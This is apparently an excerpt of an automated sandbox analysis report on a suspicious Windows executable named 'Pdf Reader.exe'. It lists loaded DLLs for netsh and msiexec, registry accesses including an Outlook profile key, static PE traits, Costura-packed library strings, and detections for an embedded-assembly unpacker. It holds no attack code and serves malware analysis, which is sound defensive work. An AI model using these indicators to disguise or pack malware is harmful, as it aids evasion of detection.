Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\Pdf Reader.exe	Section loaded: winrnr.dll	Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Pdf Reader.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Pdf Reader.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Pdf Reader.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Pdf Reader.exe

Static file information: File size 3957248 > 1048576

Source: Pdf Reader.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x392600

Source: Pdf Reader.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Pdf Reader.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: +costura.newtonsoft.json.bson.pdb.compressed source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.wpf.ui.pdb.compressed\|\|\|Wpf.Ui.pdb\|299223DFCADFE8FD464F218CE110C10266AB22B0\|139288 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: .costura.icsharpcode.sharpziplib.pdb.compressed source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.newtonsoft.json.bson.pdb.compressed\|\|\|Newtonsoft.Json.Bson.pdb\|8D66819B2D5D4D2CFADB7660B1869A81C5DB7E9F\|26968 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed/icsharpcode.sharpziplib]costura.icsharpcode.sharpziplib.dll.compressed]costura.icsharpcode.sharpziplib.pdb.compressed;microsoft.bcl.asyncinterfacesicostura.microsoft.bcl.asyncinterfaces.dll.compressed5microsoft.bcl.timeproviderccostura.microsoft.bcl.timeprovider.dll.compressed)newtonsoft.json.bsonWcostura.newtonsoft.json.bson.dll.compressedWcostura.newtonsoft.json.bson.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: costura.polly.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr
Source:	Binary string: costura.costura.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.wpf.ui.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: !costura.polly.core.pdb.compressed source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: polly9costura.polly.dll.compressed9costura.polly.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: wpf.ui;costura.wpf.ui.dll.compressed;costura.wpf.ui.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.polly.pdb.compressed\|\|\|Polly.pdb\|6E4429D15FBCD96C44E391E109CB500EC2508333\|83400 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.polly.core.pdb.compressed\|\|\|Polly.Core.pdb\|C1D3F2BA348EA2F6635B8F5961AD127E831487C6\|66148 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.icsharpcode.sharpziplib.pdb.compressed\|\|\|ICSharpCode.SharpZipLib.pdb\|E1FCA83029D1440F54FB3747B240365A6DF0A598\|121652 source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: costura.polly.core.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr
Source:	Binary string: polly.coreCcostura.polly.core.dll.compressedCcostura.polly.core.pdb.compressed source: Pdf Reader.exe, Pdf Reader.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: Pdf Reader.exe, AssemblyLoader.cs	.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Source: Pdf Reader.exe.0.dr, AssemblyLoader.cs	.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: Pdf Reader.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Pdf Reader.exe.16aef600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2118787399.0000029F00001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
